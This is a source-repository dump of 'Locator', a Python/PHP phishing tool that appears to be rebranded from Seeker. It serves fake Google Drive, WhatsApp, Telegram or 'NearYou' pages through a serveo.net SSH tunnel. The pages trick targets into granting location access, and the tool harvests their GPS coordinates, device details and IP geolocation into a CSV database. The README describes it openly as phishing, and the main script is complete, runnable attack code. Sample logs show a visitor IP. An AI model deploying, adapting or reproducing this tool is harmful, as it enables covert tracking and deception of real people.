├── .gitignore.txt ├── Dockerfile ├── LICENSE ├── Locator.py ├── README.md ├── arch_install.sh ├── db └── results.csv ├── demos.json ├── install.sh ├── logs ├── php.log └── serveo.txt ├── metadata.json ├── template ├── __init__.py ├── gdrive │ ├── css │ │ └── main.css │ ├── fonts │ │ ├── Roboto-Black.ttf │ │ ├── Roboto-BlackItalic.ttf │ │ ├── Roboto-Bold.ttf │ │ ├── Roboto-BoldItalic.ttf │ │ ├── Roboto-Italic.ttf │ │ ├── Roboto-Light.ttf │ │ ├── Roboto-LightItalic.ttf │ │ ├── Roboto-Medium.ttf │ │ ├── Roboto-MediumItalic.ttf │ │ ├── Roboto-Regular.ttf │ │ ├── Roboto-Thin.ttf │ │ ├── Roboto-ThinItalic.ttf │ │ └── pxiDypQkot1TnFhsFMOfGShVF9eO.woff2 │ ├── images │ │ ├── 580b57fcd9996e24bc43c51f.png │ │ ├── Google-Drive-logo1.png │ │ ├── drive_favicon1.ico │ │ ├── googlelogo_color_116x41dp.png │ │ ├── locked_doc-1.svg │ │ └── locked_doc-2.svg │ ├── index.html │ ├── js │ │ ├── info.js │ │ ├── location.js │ │ └── location_temp.js │ └── php │ │ ├── error.php │ │ ├── info.php │ │ ├── info.txt │ │ ├── result.php │ │ └── result.txt ├── mod_gdrive.py ├── mod_telegram.py ├── mod_whatsapp.py ├── nearyou │ ├── css │ │ ├── main.css │ │ └── worldmap.jpg │ ├── index.html │ ├── js │ │ ├── info.js │ │ ├── location.js │ │ ├── main.js │ │ └── warpspeed.min.js │ └── php │ │ ├── error.php │ │ ├── info.php │ │ ├── info.txt │ │ ├── result.php │ │ └── result.txt ├── sample.kml ├── telegram │ ├── css │ │ ├── bootstrap.min.css │ │ ├── css │ │ └── telegram.css │ ├── favicon.ico │ ├── images │ │ └── Arrow_1x.png │ ├── index.html │ ├── index_temp.html │ ├── js │ │ ├── info.js │ │ └── location.js │ └── php │ │ ├── error.php │ │ ├── info.php │ │ ├── info.txt │ │ ├── result.php │ │ └── result.txt ├── templates.json └── whatsapp │ ├── css │ ├── Epf3I8GM5jv.css │ └── s9hWiNS5894.css │ ├── images │ ├── -r3j-x8ZnM7.svg │ ├── ZIvBTrQd9nP.png │ └── rYZqPCBaG70.png │ ├── index.html │ ├── index_temp.html │ ├── js │ ├── info.js │ └── location.js │ └── php │ ├── error.php │ ├── info.php │ ├── info.txt │ ├── result.php │ └── result.txt ├── termux_install.sh └── version.txt /.gitignore.txt: -------------------------------------------------------------------------------- 1 | db/results.csv -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu 2 | ENV DEBIAN_FRONTEND=teletype 3 | WORKDIR Locator/ 4 | RUN echo "Asia/Sri Lanka" > /etc/timezone 5 | RUN apt-get update > install.log 6 | RUN apt-get -y install tzdata >> install.log 7 | RUN dpkg-reconfigure -f noninteractive tzdata >> install.log 8 | RUN apt-get -y install python3 \ 9 | python3-pip \ 10 | php \ 11 | ssh >> install.log 12 | RUN pip3 install requests >> install.log 13 | ADD . /Locator 14 | RUN chmod 777 template/nearyou/php/info.txt 15 | RUN chmod 777 template/nearyou/php/result.txt 16 | CMD ["./Locator.py"] 17 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2020 Óptane(CD) 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /Locator.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | #Developed by Óptane(Chamicara.Desilva) 4 | 5 | R = '\033[31m' # red 6 | G = '\033[32m' # green 7 | C = '\033[36m' # cyan 8 | W = '\033[0m' # white 9 | 10 | from shutil import which 11 | 12 | print(G + '[+]' + C + 'Obtaining for Dependencies...' + W) 13 | print(G + '[+]' + C + 'Connecting with Óptane Servers' + W) 14 | pkgs = ['python3', 'pip3', 'php', 'ssh'] 15 | inst = True 16 | for pkg in pkgs: 17 | present = which(pkg) 18 | if present == None: 19 | print(R + '[-] ' + W + pkg + C + ' is not Installed!') 20 | inst = False 21 | else: 22 | pass 23 | if inst == False: 24 | exit() 25 | else: 26 | pass 27 | 28 | import os 29 | import csv 30 | import sys 31 | import time 32 | import json 33 | import argparse 34 | import requests 35 | import subprocess as subp 36 | 37 | parser = argparse.ArgumentParser() 38 | parser.add_argument('-s', '--subdomain', help='Provide Subdomain for Serveo URL ( Optional )') 39 | parser.add_argument('-k', '--kml', help='Provide KML Filename ( Optional )') 40 | parser.add_argument('-t', '--tunnel', help='Specify Tunnel Mode [ Available : manual ]') 41 | parser.add_argument('-p', '--port', type=int, default=8080, help='Port for Web Server [ Default : 8080 ]') 42 | 43 | args = parser.parse_args() 44 | subdom = args.subdomain 45 | kml_fname = args.kml 46 | tunnel_mode = args.tunnel 47 | port = args.port 48 | 49 | row = [] 50 | info = '' 51 | result = '' 52 | version = '1.3.0' 53 | 54 | def banner(): 55 | print (G + 56 | r''' 57 | _ ____ _____ _____ ______ ____ ____ 58 | | | / __ || ___|| _ ||__ __|/ __ || | 59 | | | || ||| | | |_| | | | || ||| _| 60 | | |___ ||__||| |___ | _ | | | ||__||| |\ \ 61 | |____ ||____/|_____||_| | | |__| |____/|_| \_\ 62 | \/ \/ ''' + W) 63 | print('\n' + G + '[>]' + C + ' Developed By : ' + W + 'Óptane(Chamicara.Desilva)') 64 | print(G + '[>]' + C + ' Version : ' + W + version + '\n') 65 | 66 | def ver_check(): 67 | print(G + '[+]' + C + ' Checking for Updates.....', end='') 68 | ver_url = 'https://raw.githubusercontent.com/Optane002/Locator/main/version.txt' 69 | try: 70 | ver_rqst = requests.get(ver_url) 71 | ver_sc = ver_rqst.status_code 72 | if ver_sc == 200: 73 | github_ver = ver_rqst.text 74 | github_ver = github_ver.strip() 75 | 76 | if version == github_ver: 77 | print(C + '[' + G + ' Up-To-Date ' + C +']' + '\n') 78 | else: 79 | print(C + '[' + G + ' Available : {} '.format(github_ver) + C + ']' + '\n') 80 | else: 81 | print(C + '[' + R + ' Status : {} '.format(ver_sc) + C + ']' + '\n') 82 | except Exception as e: 83 | print('\n' + R + '[-]' + C + ' Exception : ' + W + str(e)) 84 | 85 | def tunnel_select(): 86 | if tunnel_mode == None: 87 | serveo() 88 | elif tunnel_mode == 'manual': 89 | print(G + '[+]' + C + ' Skipping Serveo, start your own tunnel service manually...' + W + '\n') 90 | else: 91 | print(R + '[+]' + C + ' Invalid Tunnel Mode Selected, Check Help [-h, --help]' + W + '\n') 92 | exit() 93 | 94 | def template_select(): 95 | global site, info, result 96 | print(G + '[+]' + C + ' Select a Template : ' + W + '\n') 97 | 98 | with open('template/templates.json', 'r') as templ: 99 | templ_info = templ.read() 100 | 101 | templ_json = json.loads(templ_info) 102 | 103 | for item in templ_json['templates']: 104 | name = item['name'] 105 | print(G + '[{}]'.format(templ_json['templates'].index(item)) + C + ' {}'.format(name) + W) 106 | 107 | selected = int(input(G + '[>] ' + W)) 108 | 109 | try: 110 | site = templ_json['templates'][selected]['dir_name'] 111 | except IndexError: 112 | print('\n' + R + '[-]' + C + ' Invalid Input!' + W + '\n') 113 | sys.exit() 114 | 115 | print('\n' + G + '[+]' + C + ' Loading {} Template...'.format(templ_json['templates'][selected]['name']) + W) 116 | 117 | module = templ_json['templates'][selected]['module'] 118 | if module == True: 119 | imp_file = templ_json['templates'][selected]['import_file'] 120 | import importlib 121 | importlib.import_module('template.{}'.format(imp_file)) 122 | else: 123 | pass 124 | 125 | info = 'template/{}/php/info.txt'.format(site) 126 | result = 'template/{}/php/result.txt'.format(site) 127 | 128 | def serveo(): 129 | global subdom 130 | flag = False 131 | 132 | print(G + '[+]' + C + ' Checking Serveo Status...', end='') 133 | 134 | try: 135 | time.sleep(1) 136 | rqst = requests.get('https://serveo.net', timeout=5) 137 | sc = rqst.status_code 138 | if sc == 200: 139 | print(C + '[' + G + ' Online ' + C + ']' + W + '\n') 140 | else: 141 | print(C + '[' + R + 'Status : {}'.format(sc) + C + ']' + W + '\n') 142 | exit() 143 | except requests.ConnectionError: 144 | print(C + '[' + R + ' Offline ' + C + ']' + W + '\n') 145 | exit() 146 | 147 | print(G + '[+]' + C + ' Getting Serveo URL...' + W + '\n') 148 | if subdom is None: 149 | with open('logs/serveo.txt', 'w') as tmpfile: 150 | proc = subp.Popen(['ssh', '-o', 'StrictHostKeyChecking=no', '-o', 'ServerAliveInterval=60', '-R', '80:localhost:{}'.format(port), 'serveo.net'], stdout=tmpfile, stderr=tmpfile, stdin=subp.PIPE) 151 | else: 152 | with open('logs/serveo.txt', 'w') as tmpfile: 153 | proc = subp.Popen(['ssh', '-o', 'StrictHostKeyChecking=no', '-o', 'ServerAliveInterval=60', '-R', '{}.serveo.net:80:localhost:{}'.format(subdom, port), 'serveo.net'], stdout=tmpfile, stderr=tmpfile, stdin=subp.PIPE) 154 | 155 | while True: 156 | with open('logs/serveo.txt', 'r') as tmpfile: 157 | try: 158 | stdout = tmpfile.readlines() 159 | if flag == False: 160 | for elem in stdout: 161 | if 'HTTP' in elem: 162 | elem = elem.split(' ') 163 | url = elem[4].strip() 164 | print(G + '[+]' + C + ' URL : ' + W + url + '\n') 165 | flag = True 166 | else: 167 | pass 168 | elif flag == True: 169 | break 170 | except Exception as e: 171 | print(e) 172 | pass 173 | time.sleep(2) 174 | 175 | def server(): 176 | print('\n' + G + '[+]' + C + ' Port : '+ W + str(port)) 177 | print('\n' + G + '[+]' + C + ' Starting PHP Server......' + W, end='') 178 | with open('logs/php.log', 'w') as phplog: 179 | subp.Popen(['php', '-S', '0.0.0.0:{}'.format(port), '-t', 'template/{}/'.format(site)], stdout=phplog, stderr=phplog) 180 | time.sleep(3) 181 | try: 182 | php_rqst = requests.get('http://0.0.0.0:{}/index.html'.format(port)) 183 | php_sc = php_rqst.status_code 184 | if php_sc == 200: 185 | print(C + '[' + G + ' Success ' + C + ']' + W) 186 | else: 187 | print(C + '[' + R + 'Status : {}'.format(php_sc) + C + ']' + W) 188 | except requests.ConnectionError: 189 | print(C + '[' + R + ' Failed ' + C + ']' + W) 190 | Quit() 191 | 192 | def wait(): 193 | printed = False 194 | while True: 195 | time.sleep(2) 196 | size = os.path.getsize(result) 197 | if size == 0 and printed == False: 198 | print('\n' + G + '[+]' + C + ' Waiting for User Interaction...' + W + '\n') 199 | printed = True 200 | if size > 0: 201 | main() 202 | 203 | def main(): 204 | global info, result, row, var_lat, var_lon 205 | try: 206 | row = [] 207 | with open (info, 'r') as file2: 208 | file2 = file2.read() 209 | json3 = json.loads(file2) 210 | for value in json3['dev']: 211 | 212 | var_os = value['os'] 213 | var_platform = value['platform'] 214 | try: 215 | var_cores = value['cores'] 216 | except TypeError: 217 | var_cores = 'Not Available' 218 | var_ram = value['ram'] 219 | var_vendor = value['vendor'] 220 | var_render = value['render'] 221 | var_res = value['wd'] + 'x' + value['ht'] 222 | var_browser = value['browser'] 223 | var_ip = value['ip'] 224 | 225 | row.append(var_os) 226 | row.append(var_platform) 227 | row.append(var_cores) 228 | row.append(var_ram) 229 | row.append(var_vendor) 230 | row.append(var_render) 231 | row.append(var_res) 232 | row.append(var_browser) 233 | row.append(var_ip) 234 | 235 | print(G + '[+]' + C + ' Device Information : ' + W + '\n') 236 | print(G + '[+]' + C + ' OS : ' + W + var_os) 237 | print(G + '[+]' + C + ' Platform : ' + W + var_platform) 238 | print(G + '[+]' + C + ' CPU Cores : ' + W + var_cores) 239 | print(G + '[+]' + C + ' RAM : ' + W + var_ram) 240 | print(G + '[+]' + C + ' GPU Vendor : ' + W + var_vendor) 241 | print(G + '[+]' + C + ' GPU : ' + W + var_render) 242 | print(G + '[+]' + C + ' Resolution : ' + W + var_res) 243 | print(G + '[+]' + C + ' Browser : ' + W + var_browser) 244 | print(G + '[+]' + C + ' Public IP : ' + W + var_ip) 245 | 246 | rqst = requests.get('http://free.ipwhois.io/json/{}'.format(var_ip)) 247 | sc = rqst.status_code 248 | 249 | if sc == 200: 250 | data = rqst.text 251 | data = json.loads(data) 252 | var_continent = str(data['continent']) 253 | var_country = str(data['country']) 254 | var_region = str(data['region']) 255 | var_city = str(data['city']) 256 | var_org = str(data['org']) 257 | var_isp = str(data['isp']) 258 | 259 | row.append(var_continent) 260 | row.append(var_country) 261 | row.append(var_region) 262 | row.append(var_city) 263 | row.append(var_org) 264 | row.append(var_isp) 265 | 266 | print(G + '[+]' + C + ' Continent : ' + W + var_continent) 267 | print(G + '[+]' + C + ' Country : ' + W + var_country) 268 | print(G + '[+]' + C + ' Region : ' + W + var_region) 269 | print(G + '[+]' + C + ' City : ' + W + var_city) 270 | print(G + '[+]' + C + ' Org : ' + W + var_org) 271 | print(G + '[+]' + C + ' ISP : ' + W + var_isp) 272 | except ValueError: 273 | pass 274 | 275 | try: 276 | with open (result, 'r') as file: 277 | file = file.read() 278 | json2 = json.loads(file) 279 | for value in json2['info']: 280 | var_lat = value['lat'] + ' deg' 281 | var_lon = value['lon'] + ' deg' 282 | var_acc = value['acc'] + ' m' 283 | 284 | var_alt = value['alt'] 285 | if var_alt == '': 286 | var_alt = 'Not Available' 287 | else: 288 | var_alt == value['alt'] + ' m' 289 | 290 | var_dir = value['dir'] 291 | if var_dir == '': 292 | var_dir = 'Not Available' 293 | else: 294 | var_dir = value['dir'] + ' deg' 295 | 296 | var_spd = value['spd'] 297 | if var_spd == '': 298 | var_spd = 'Not Available' 299 | else: 300 | var_spd = value['spd'] + ' m/s' 301 | 302 | row.append(var_lat) 303 | row.append(var_lon) 304 | row.append(var_acc) 305 | row.append(var_alt) 306 | row.append(var_dir) 307 | row.append(var_spd) 308 | 309 | print ('\n' + G + '[+]' + C + ' Location Information : ' + W + '\n') 310 | print (G + '[+]' + C + ' Latitude : ' + W + var_lat) 311 | print (G + '[+]' + C + ' Longitude : ' + W + var_lon) 312 | print (G + '[+]' + C + ' Accuracy : ' + W + var_acc) 313 | print (G + '[+]' + C + ' Altitude : ' + W + var_alt) 314 | print (G + '[+]' + C + ' Direction : ' + W + var_dir) 315 | print (G + '[+]' + C + ' Speed : ' + W + var_spd) 316 | except ValueError: 317 | error = file 318 | print ('\n' + R + '[-] ' + W + error) 319 | repeat() 320 | 321 | print ('\n' + G + '[+]' + C + ' Google Maps.................: ' + W + 'https://www.google.com/maps/place/' + var_lat.strip(' deg') + '+' + var_lon.strip(' deg')) 322 | 323 | if kml_fname is not None: 324 | kmlout(var_lat, var_lon) 325 | 326 | csvout() 327 | repeat() 328 | 329 | def kmlout(var_lat, var_lon): 330 | with open('template/sample.kml', 'r') as kml_sample: 331 | kml_sample_data = kml_sample.read() 332 | 333 | kml_sample_data = kml_sample_data.replace('LONGITUDE', var_lon.strip(' deg')) 334 | kml_sample_data = kml_sample_data.replace('LATITUDE', var_lat.strip(' deg')) 335 | 336 | with open('{}.kml'.format(kml_fname), 'w') as kml_gen: 337 | kml_gen.write(kml_sample_data) 338 | 339 | print(G + '[+]' + C + ' KML File Generated..........: ' + W + os.getcwd() + '/{}.kml'.format(kml_fname)) 340 | 341 | def csvout(): 342 | global row 343 | with open('db/results.csv', 'a') as csvfile: 344 | writer = csv.writer(csvfile) 345 | writer.writerow(row) 346 | print(G + '[+]' + C + ' New Entry Added in Database.: ' + W + os.getcwd() + '/db/results.csv') 347 | 348 | def clear(): 349 | global result 350 | with open (result, 'w+'): pass 351 | with open (info, 'w+'): pass 352 | 353 | def repeat(): 354 | clear() 355 | wait() 356 | main() 357 | 358 | def Quit(): 359 | global result 360 | with open (result, 'w+'): pass 361 | os.system('pkill php') 362 | exit() 363 | 364 | try: 365 | banner() 366 | ver_check() 367 | tunnel_select() 368 | template_select() 369 | server() 370 | wait() 371 | main() 372 | 373 | except KeyboardInterrupt: 374 | print ('\n' + R + '[!]' + C + ' Keyboard Interrupt,terminating...' + W) 375 | Quit() 376 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 |

2 | 3 | 4 |

5 | 6 |

7 | Twitter 8 | - 9 | Telegram 10 | - 11 | Keep Eyes on "Dark" YouTube Channel 12 |

13 | 14 | Concept behind Locator is simple, just like we host phishing pages to get credentials why not host a fake page that requests your location like many popular location based websites.Locator Hosts a fake website on **In Built PHP Server** and uses **Serveo** to generate a link which we will forward to the target, website asks for Location Permission and if the target allows it, we can get : 15 | 16 | * Longitude 17 | * Latitude 18 | * Accuracy 19 | * Altitude - Not always available 20 | * Direction - Only available if user is moving 21 | * Speed - Only available if user is moving 22 | 23 | Along with Location Information we also get **Device Information** without any permissions : 24 | 25 | * Operating System 26 | * Platform 27 | * Number of CPU Cores 28 | * Amount of RAM - Approximate Results 29 | * Screen Resolution 30 | * GPU information 31 | * Browser Name and Version 32 | * Public IP Address 33 | * IP Address Reconnaissance 34 | 35 | ## How is this Different from IP GeoLocation 36 | 37 | * Other tools and services offer IP Geolocation which is NOT accurate at all and does not give location of the target instead it is the approximate location of the ISP. 38 | 39 | * Locator uses HTML API and gets Location Permission and then grabs Longitude and Latitude using GPS Hardware which is present in the device, so Locator works best with Smartphones, if the GPS Hardware is not present, such as on a Laptop, Locator fallbacks to IP Geolocation or it will look for Cached Coordinates. 40 | 41 | * Generally if a user accepts location permsission, Accuracy of the information recieved is **accurate to approximately 30 meters**, Accuracy Depends on the Device. 42 | 43 | **Note** : On iPhone due to some reason location accuracy is approximately 65 meters. 44 | 45 | ## Templates 46 | 47 | You can choose a template which will be used by Locator from these : 48 | 49 | * NearYou 50 | * Google Drive 51 | * WhatsApp 52 | * Telegram 53 | 54 | ## Tested On : 55 | 56 | * Kali Linux 57 | * BlackArch Linux 58 | * Ubuntu 59 | * Kali Nethunter 60 | * Termux 61 | * Parrot OS 62 | 63 | ## Setup Ngrok server 64 | 65 | * visit ngrok official website and claim your free account to download the setup. 66 | * Make sure while you're using ngrok servers,your internet connection is better to interchange the packets.If not you cannot continue this progress. 67 | 68 | * If you want to get know more about ngrok using/handlings please visit there Documentations page here. Docs 69 | 70 | ## Installation 71 | 72 | ### Kali Linux / Ubuntu / Parrot OS 73 | 74 | ```bash 75 | git clone https://github.com/Optane002/Locator.git 76 | cd Locator/ 77 | chmod 777 install.sh 78 | ./install.sh 79 | ``` 80 | 81 | ### BlackArch Linux 82 | 83 | ```bash 84 | pacman -S Locator 85 | ``` 86 | 87 | ### Docker 88 | 89 | ```bash 90 | docker pull Optane002/Locator 91 | ``` 92 | 93 | ### Termux 94 | 95 | ```bash 96 | git clone https://github.com/Optane002/Locator.git 97 | cd Locator/ 98 | chmod 777 termux_install.sh 99 | ./termux_install.sh 100 | ``` 101 | 102 | ## Usage 103 | 104 | ```bash 105 | python3 Locator.py -h 106 | 107 | usage: Locator.py [-h] [-s SUBDOMAIN] 108 | 109 | optional arguments: 110 | -h, --help show this help message and exit 111 | -s SUBDOMAIN, --subdomain Subdomain Provide Subdomain for Serveo URL ( Optional ) 112 | -k KML, --kml KML Provide KML Filename ( Optional ) 113 | -t TUNNEL, --tunnel TUNNEL Specify Tunnel Mode [manual] 114 | 115 | # Example 116 | 117 | # SERVEO 118 | ######## 119 | python3 Locator.py 120 | 121 | # NGROK ETC. 122 | ############ 123 | 124 | # In First Terminal Start Locator in Manual mode like this 125 | python3 Locator.py -t manual 126 | 127 | # In Second Terminal Start Ngrok or any other tunnel service on port 8080 128 | ./ngrok http 8080 129 | 130 | #-----------------------------------# 131 | 132 | # Subdomain 133 | ########### 134 | python3 Locator.py --subdomain google 135 | python3 Locator.py --tunnel manual --subdomain zomato 136 | 137 | #-----------------------------------# 138 | 139 | # Docker Usage 140 | ############## 141 | 142 | # SERVEO 143 | ######## 144 | docker run -t --rm Optane002/Locator 145 | 146 | # NGROK 147 | ####### 148 | 149 | # Step 1 150 | docker network create ngroknet 151 | 152 | # Step 2 153 | docker run --rm -t --net ngroknet --name Locator Optane002/Locator python3 Locator.py -t manual 154 | 155 | # Step 3 156 | docker run --rm -t --net ngroknet --name ngrok wernight/ngrok ngrok http Locator:8080 157 | ``` 158 | 159 | ## Known Problems 160 | 161 | * Services like Serveo and Ngrok are banned in some countries such as Russia etc., so if it's banned in your country you may not get a URL, if not then first READ CLOSED ISSUES, if your problem is not listed, create a new issue. 162 | 163 | ## Please Be Mentioned 164 | 165 | **This tool is a Proof of Concept and is for Educational Purposes Only, Locator shows what data a malicious website can gather about you and your devices and why you should not click on random links and allow critical permissions such as Location etc.** 166 | 167 | -------------------------------------------------------------------------------- /arch_install.sh: -------------------------------------------------------------------------------- 1 | echo '[!] Updating...' 2 | pacman -Sy > install.log 3 | echo 4 | echo '[!] Installing Dependencies...' 5 | echo ' Python3' 6 | yes | pacman -S python3 python-pip --needed &>> install.log 7 | echo ' PHP' 8 | yes | pacman -S php --needed &>> install.log 9 | echo ' ssh' 10 | yes | pacman -S openssh --needed &>> install.log 11 | echo ' Requests' 12 | pip3 install requests &>> install.log 13 | echo 14 | echo '[!] Setting Permissions...' 15 | chmod 777 template/nearyou/php/info.txt 16 | chmod 777 template/nearyou/php/result.txt 17 | echo 18 | echo '[!] Installed.' 19 | -------------------------------------------------------------------------------- /db/results.csv: -------------------------------------------------------------------------------- 1 | OS,Platform,CPU Cores,RAM,GPU Vendor,GPU,Resolution,Browser,IP Address,Continent,Country,Region,City,Organisation,ISP,Latitude,Longitude,Accuracy,Altitude,Direction,Speed 2 | -------------------------------------------------------------------------------- /demos.json: -------------------------------------------------------------------------------- 1 | { 2 | "demos": { 3 | "WhatsApp Template Demo" : "https://www.youtube.com/watch?v=dG0HkQmF4-A", 4 | "What's new in v1.1.9" : "https://www.youtube.com/watch?v=FEyAPjkJFrk", 5 | } 6 | } -------------------------------------------------------------------------------- /install.sh: -------------------------------------------------------------------------------- 1 | echo '[!] Updating...' 2 | apt-get update > install.log 3 | echo 4 | echo '[!] Installing Dependencies...' 5 | echo ' Python3' 6 | apt-get -y install python3 python3-pip &>> install.log 7 | echo ' PHP' 8 | apt-get -y install php &>> install.log 9 | echo ' ssh' 10 | apt-get -y install ssh &>> install.log 11 | echo ' Requests' 12 | pip3 install requests &>> install.log 13 | echo 14 | echo '[!] Setting Permissions...' 15 | chmod 777 template/nearyou/php/info.txt 16 | chmod 777 template/nearyou/php/result.txt 17 | echo 18 | echo '[!] Installed.' 19 | -------------------------------------------------------------------------------- /logs/php.log: -------------------------------------------------------------------------------- 1 | [Sat Aug 24 10:03:14 2019] 127.0.0.1:46454 [200]: /nearyou/index.html 2 | [Sat Aug 24 10:03:27 2019] 127.0.0.1:46460 [200]: /nearyou/ 3 | [Sat Aug 24 10:03:27 2019] 127.0.0.1:46464 [200]: /nearyou/css/main.css 4 | [Sat Aug 24 10:03:27 2019] 127.0.0.1:46468 [200]: /nearyou/js/main.js 5 | [Sat Aug 24 10:03:27 2019] 127.0.0.1:46472 [200]: /nearyou/js/location.js 6 | [Sat Aug 24 10:03:27 2019] 127.0.0.1:46476 [200]: /nearyou/js/warpspeed.min.js 7 | [Sat Aug 24 10:03:27 2019] 127.0.0.1:46480 [200]: /nearyou/js/info.js 8 | [Sat Aug 24 10:03:28 2019] 127.0.0.1:46484 [200]: /nearyou/ 9 | [Sat Aug 24 10:03:29 2019] 127.0.0.1:46488 [200]: /nearyou/css/main.css 10 | [Sat Aug 24 10:03:29 2019] 127.0.0.1:46492 [200]: /nearyou/js/main.js 11 | [Sat Aug 24 10:03:29 2019] 127.0.0.1:46496 [200]: /nearyou/js/location.js 12 | [Sat Aug 24 10:03:29 2019] 127.0.0.1:46500 [200]: /nearyou/js/info.js 13 | [Sat Aug 24 10:03:29 2019] 127.0.0.1:46504 [200]: /nearyou/js/warpspeed.min.js 14 | [Sat Aug 24 10:03:30 2019] 127.0.0.1:46508 [200]: /nearyou/php/info.php 15 | [Sat Aug 24 10:03:32 2019] 127.0.0.1:46512 [200]: /nearyou/php/result.php 16 | PHP 7.3.8 Development Server started at Sat Aug 24 10:03:12 2019 17 | Listening on http://127.0.0.1:8080 18 | Document root is /home/unknown/tools/seeker/template 19 | Press Ctrl-C to quit. 20 | -------------------------------------------------------------------------------- /logs/serveo.txt: -------------------------------------------------------------------------------- 1 | Pseudo-terminal will not be allocated because stdin is not a terminal. 2 | Forwarding HTTP traffic from https://vere.serveo.net 3 | HTTP request from 103.87.59.55 to http://vere.serveo.net/nearyou/ 4 | HTTP request from 103.87.59.55 to http://vere.serveo.net/nearyou/css/main.css 5 | HTTP request from 103.87.59.55 to http://vere.serveo.net/nearyou/js/main.js 6 | HTTP request from 103.87.59.55 to http://vere.serveo.net/nearyou/js/location.js 7 | HTTP request from 103.87.59.55 to http://vere.serveo.net/nearyou/js/warpspeed.min.js 8 | HTTP request from 103.87.59.55 to http://vere.serveo.net/nearyou/js/info.js 9 | HTTP request from 103.87.59.55 to https://vere.serveo.net/nearyou/ 10 | HTTP request from 103.87.59.55 to https://vere.serveo.net/nearyou/css/main.css 11 | HTTP request from 103.87.59.55 to https://vere.serveo.net/nearyou/js/main.js 12 | HTTP request from 103.87.59.55 to https://vere.serveo.net/nearyou/js/location.js 13 | HTTP request from 103.87.59.55 to https://vere.serveo.net/nearyou/js/info.js 14 | HTTP request from 103.87.59.55 to https://vere.serveo.net/nearyou/js/warpspeed.min.js 15 | HTTP request from 103.87.59.55 to https://vere.serveo.net/nearyou/php/info.php 16 | HTTP request from 103.87.59.55 to https://vere.serveo.net/nearyou/php/result.php 17 | -------------------------------------------------------------------------------- /metadata.json: -------------------------------------------------------------------------------- 1 | { 2 | "metadata": 3 | { 4 | "name": "Locator v1.2", 5 | "author": "Óptane(CD)", 6 | "version": "1.2.0", 7 | "twitter": "", 8 | "discord": "" 9 | } 10 | } -------------------------------------------------------------------------------- /template/__init__.py: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /template/gdrive/css/main.css: -------------------------------------------------------------------------------- 1 | @font-face { 2 | font-family: Product Sans; 3 | font-style: normal; 4 | font-weight: 400; 5 | src: url('/fonts/pxiDypQkot1TnFhsFMOfGShVF9eO.woff2') format('woff2'); 6 | } 7 | 8 | body { 9 | background-color: #ffffff; 10 | font-size: 13px; 11 | margin: 0; 12 | padding: 0; 13 | font-family: Arial,sans-serif; 14 | } 15 | 16 | #outerContainer { 17 | margin: auto; 18 | max-width: 750px; 19 | } 20 | 21 | #innerContainer { 22 | margin-bottom: 20px; 23 | margin-left: 40px; 24 | margin-right: 40px; 25 | margin-top: 180px; 26 | position: relative; 27 | } 28 | 29 | #drive-logo { 30 | margin: 18px 0; 31 | position: absolute; 32 | white-space: nowrap; 33 | } 34 | 35 | .docs-drivelogo-img { 36 | background-image: url('/images/googlelogo_color_116x41dp.png'); 37 | background-size: 116px 41px; 38 | display: inline-block; 39 | height: 41px; 40 | vertical-align: bottom; 41 | width: 116px; 42 | } 43 | 44 | .docs-drivelogo-text { 45 | color: #000; 46 | display: inline-block; 47 | opacity: 0.54; 48 | text-decoration: none; 49 | font-family: 'Product Sans',Arial,Helvetica,sans-serif; 50 | font-size: 32px; 51 | text-rendering: optimizeLegibility; 52 | position: relative; 53 | top: -6px; 54 | left: -7px; 55 | -webkit-font-smoothing: antialiased; 56 | -moz-osx-font-smoothing: grayscale; 57 | } 58 | 59 | #main { 60 | position: relative; 61 | width: 640px; 62 | top: 30px; 63 | } 64 | 65 | #accessDeniedIcon { 66 | background-image: url('/images/locked_doc-2.svg'); 67 | float: right; 68 | height: 158px; 69 | width: 128px; 70 | } 71 | 72 | #accessDeniedHeader { 73 | color: #222; 74 | font: 32px Arial, sans-serif; 75 | } 76 | 77 | #message { 78 | color: #222; 79 | font: 15px/1.6 Arial, sans-serif; 80 | width: 480px; 81 | } 82 | 83 | button.jfk-button { 84 | font-family: arial,sans-serif; 85 | height: auto; 86 | } 87 | 88 | .jfk-button-action { 89 | -webkit-box-shadow: none; 90 | -moz-box-shadow: none; 91 | box-shadow: none; 92 | background-color: #4d90fe; 93 | background-image: -webkit-linear-gradient(top,#4d90fe,#4787ed); 94 | background-image: -moz-linear-gradient(top,#4d90fe,#4787ed); 95 | background-image: -ms-linear-gradient(top,#4d90fe,#4787ed); 96 | background-image: -o-linear-gradient(top,#4d90fe,#4787ed); 97 | background-image: linear-gradient(top,#4d90fe,#4787ed); 98 | border: 1px solid #3079ed; 99 | color: #fff; 100 | } 101 | 102 | .jfk-button { 103 | -webkit-border-radius: 2px; 104 | -moz-border-radius: 2px; 105 | border-radius: 2px; 106 | cursor: default; 107 | font-size: 11px; 108 | font-weight: bold; 109 | text-align: center; 110 | white-space: nowrap; 111 | margin-right: 16px; 112 | height: 27px; 113 | line-height: 27px; 114 | min-width: 54px; 115 | outline: 0px; 116 | padding: 0 8px; 117 | } 118 | 119 | .jfk-button-standard { 